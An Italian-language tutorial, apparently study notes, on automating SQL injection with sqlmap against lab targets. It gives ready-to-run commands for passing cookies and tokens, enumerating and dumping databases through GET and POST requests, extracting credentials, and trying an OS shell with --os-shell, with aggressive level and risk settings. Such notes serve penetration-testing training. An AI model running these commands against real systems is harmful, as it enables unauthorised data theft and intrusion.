tags: sqlmap sql_injection cookie headers


Questo strumento è molto potente e permette di automatizzare una SQL injection, dividerò la prima parte per le richieste HTTP GET e la seconda per le richieste HTTP POST.

Cookie e token

Molte applicazioni odierne utilizzano token e cookie come ulteriori protezioni che potrebbero portare ad un fallimento della sql injection. Per evitare che questo succeda dobbiamo per ogni richiesta che sospettiamo essere vulnerabile ad una sql injecton farla passare attraverso strumenti come BurpSuite o tramite l’Inspect del browser (Vai su InspectConsole e digita “document.cookie”) che ci permettono di verificare che nella richiesta siano presenti o meno cookie o token, nel caso fossero presenti dei cookie o dei token dovremo aggiungerli al comando di SQLMap nel seguente modo:

Metti che la nostra richiesta fatta tramite BurpSuite risulti come la seguente:

GET /viewprofile.aspx?id=1 HTTP/1.1
Host: www.moviescope.com
Cookie: sessionid=12345; csrftoken=abcde

Il nostro comando SQLMap diventerà:

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="sessionid=12345; csrftoken=abcde" --dbs

Oppure metti che la nostra richiesta risulti come la seguente:

GET /viewprofile.aspx?id=1 HTTP/1.1
Host: www.moviescope.com
X-CSRF-Token: xyz123

Il comando di SQLMap diventerà:

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --headers="X-CSRF-Token: xyz123" --dbs
  • --cookie è specifico per i cookie di sessione.

  • --headers è più generico e permette di gestire qualsiasi tipo di header HTTP.

Esempio se nella richiesta è presente solo il cookie andremo ad utilizzare il parametro —cookie come nell’esempio:

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="sessionid=12345; csrftoken=abcde" --dbs

Se invece sono presenti cose al di fuori del cookie possiamo utilizzare il parametro —headers:

sqlmap -u "http://example.com/page?id=1" --headers="X-CSRF-Token: xyz123\nUser-Agent: Mozilla/5.0"
  • In questo esempio, X-CSRF-Token: xyz123 e User-Agent: Mozilla/5.0 sono header aggiuntivi inviati con la richiesta.

  • Nota: Gli header sono separati da \n (newline).

Possiamo anche combinarli nel caso in cui volessimo aggiungere sia gli header che i cookie e stanno tutti raggruppati sotto il parametro —headers che include —cookie, come nell’esempio:

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --headers="Cookie: sessionid=12345; csrftoken=abcde\nX-CSRF-Token: xyz123\nUser-Agent: Mozilla/5.0" --dbs

Per evitare che faccia domande usa

--batch

Richieste GET

Quando incontriamo una pagina che ci fa ipotizzare esserci una SQL injection possiamo vedere tramite Burp Suite o tramite browser che tipo di richiesta è, nel caso fosse una richiesta GET possiamo utilizzare i seguenti comandi:

 
#Questo comando ci permette di enumerare i database
 
sqlmap -u https://testsite.com/page.php?id=7 --dbs
 
#Questo comando ci permette di enumerare le tavole
 
sqlmap -u https://testsite.com/page.php?id=7 -D <nome database> --tables
 
#Questo comando ci permette di enumerare le colonne
 
sqlmap -u https://testsite.com/page.php?id=7 -D <nome database> -T <nome_tavola> --colums
 
#Questo comando ci permette di vedere tutti i dati dei database
 
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all
 
#Oppure per prendere il contenuto di una tavola specifica
 
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <tavola> --dump
 
#Tentare di aprire una shell
 
sqlmap -u https://testsite.com/page.php?id=7 --os-shell
 

Alle volte può succedere che caratteri nell’url vadano in conflitto con il programma quindi può succedere di dover mettere l’URL tra le ” per evitare casini.

Per fare più veloce si può anche aggiungere la flag —level=5

Richieste POST

Quando invece vediamo che una richiesta con probabilità di SQL injection è POST dobbiamo prima intercettarla con Burp Suite e in seguito salvare la richiesta in un file tramite la funzione di Burp Suite “copy to file”. Una volta salvata la richiesta che potrebbe essere una cosa tipo :

POST /blood/nl-search.php HTTP/1.1
Host: 10.10.82.13
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.82.13
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.82.13/blood/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=lu2hm37e46obbdlbf28qg7v006
Connection: keep-alive
 
blood_group=A%2B      
 

Possiamo enumerare il database, per effettuare l’enumerazione ci servirà anche un parametro vulnerabile che nell’esempio sopra citato è blood_group, ma potrebbe anche essere per esempio un sezione di login vulnerabile alla tautologia nel qual caso va fatta una richiesta senza payload altrimenti SqlMap va in confusione, non va necessariamente specificato il parametro vulnerabile, ma alle volte serve:

 
#Questo comando serve ad enumerare i database
 
sqlmap -r <nome_file_salvato> -p <parametro_vulnerabile> --dbs
 
#Questo comando serve ad enumerare le tavole
 
sqlmap -r <nome_file_salvato> -p <parametro_vulnerabile> D <nome_database> --tables
 
#Questo comando serve ad enumerare le colonne
 
sqlmap -r <nome_file_salvato> -p <parametro_vulnerabile> -D <nome_database> -T <nome_tavola> --columns
 
#Questo comando servirà ad enumerare tutti i dati presenti nel database
 
sqlmap -r <nome_file_salvato> -p <parametro_vulnerabile> -D <nome_database> --dump-all

Esempi:

sqlmap -r login.req --dbs --batch --level=5 --risk=3

Per ottenere subito le credenziali se possibile si può usare questo comando:

sqlmap -r richiesta.txt --dbms=mysql --dump

La flag —dbms specifica di utilizzare solo i payload di MySQL.

Per ottenere informazioni avanzate sull’utilizzo di sqlmap si può utilizzare la flag sqlmap -hh.

Un comando bello completo potrebbe essere il seguente:

sqlmap -u http://10.10.252.245:5000/challenge3/login --batch --data="username=admin&password=admin" --level=5 --risk=3 --dbms=sqlite --technique=b --dump 

Che sostanzialmente gli dice: Esegui un attacco molto approfondito (level=5) e aggressivo (risk=3) contro la pagina di login (-u ...) inviando i dati come POST (--data ...). So che il database è SQLite (--dbms=sqlite) e voglio che tu usi solo la tecnica Boolean-based Blind (--technique=b). Se trovi la falla, il tuo obiettivo finale è scaricare l’intero contenuto del database (--dump).

Per approfondito si intende testare anche in zone meno probabili come per esempio gli header, mentre per aggressivo si intende che prova tutti i possibili comandi del database anche quelli che potrebbero rallentarlo aumentando notevolmente il rischio di essere rilevati.